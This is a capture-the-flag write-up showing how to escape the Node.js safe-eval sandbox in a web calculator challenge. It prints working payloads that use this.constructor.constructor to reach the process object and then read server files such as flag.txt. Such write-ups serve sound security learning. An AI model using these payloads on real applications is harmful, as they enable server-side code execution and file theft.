• Points: 1900

Description

We found out that it was possible to insert Javascript code in the calculator. Oops! We found an awesome module to prevent against this abuse. Hopefully it is all better now. The flag is in flag.txt.

Visit https://19.adventofctf.com to start the challenge.

Recon

Upon opening the challenge website, we’re greeted with an input field which asks us to “enter the nr of days until christmas”.

When opening the source of the page we also find some javascript code:

function send() {
  let calc = $("#calc")[0].value;
  if (calc.length > 0) {
    $.ajax({
      url: "/calc",
      type: "POST",
      data: '{"calc": "' + calc + '" }',
      contentType: "application/json; charset=utf-8",
      dataType: "json",
    }).always(function (data) {
      text = data;
      if (data.responseText) {
        text = data.responseText;
      }
      $("#msg")[0].innerHTML = "<b>" + text + "</b>";
    });
  }
}

As the description tells us it’s a calculator, let’s try entering 3+4 in the input field. It will make a POST request to /calc, which will return 7.

The description also states it was possible to enter javascript code, which we saw in the previous challenge, but that it has been fixed now.

Finding the vulnerability

To verify what the description says, let’s try to enter res in the input field. Sadly, it looks like it actually has been fixed as we now get the following error:

evalmachine.<anonymous>:11
  SAFE_EVAL_521493=res
  ^

ReferenceError: res is not defined
    at evalmachine.<anonymous>:11:3
    at Script.runInContext (vm.js:133:20)
    at Script.runInNewContext (vm.js:139:17)
    at Object.runInNewContext (vm.js:322:38)
    at safeEval (/opt/app/node_modules/safe-eval/index.js:24:6)
    at /opt/app/server.js:13:11
    at Layer.handle [as handle_request] (/opt/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/opt/app/node_modules/express/lib/router/route.js:137:13)
    at /opt/app/node_modules/body-parser/lib/read.js:130:5
    at invokeCallback (/opt/app/node_modules/raw-body/index.js:224:16)

When looking at this output, we can see that it uses the safe-eval module to evaluate the input.

I personally don’t know this module so let’s Google around a bit. Eventually, I found this Github Issue which talks about safe-eval not being so safe. Exactly what we need.

When scrolling down on the issue, we can see a comment with the following code:

(
delete(this.constructor.constructor),delete(this.constructor),
this.constructor.constructor("return process")()
)

Note: Sorry this code is not highlighted. If I do so, my formatter will mess it up…

The comment has no further text in it so let’s try entering the code. Don’t forget to replace the double quotes (") with single ones (') though as, otherwise, the JSON will no longer be valid.

After making the request, the server returns the following string: [object process]. This means the code worked, and we can build an exploit on it.

Exploit

Because we now have the process object, we can use it to require modules and execute code.

To read the directory contents of the sever, we can use the following code:

(() => {
  const process =
    (delete this.constructor.constructor,
    delete this.constructor,
    this.constructor.constructor('return process')());
  const require = process.mainModule.require;
  const fs = require('fs');
  return fs.readdirSync('.');
})();

Note: Again, not formatted as my formatter will replace the single quotes with double ones.

In this code, I used the process to get the require function. I did this so I could get access to the fs module to read the directory contents. This, in turn, is all wrapped by a self-executing anonymous function so I could use variables to make it easier.

The above code returns the following output:

flag.txt,node_modules,package-lock.json,package.json,public,server.js

Here we see the flag.txt file. Now let’s read it using the fs module again:

(() => {
  const process =
    (delete this.constructor.constructor,
    delete this.constructor,
    this.constructor.constructor('return process')());
  const require = process.mainModule.require;
  const fs = require('fs');
  return fs.readFileSync('flag.txt');
})();

Solution

We got the flag! It is NOVI{s@fe_eval_is_not_so_saf3}.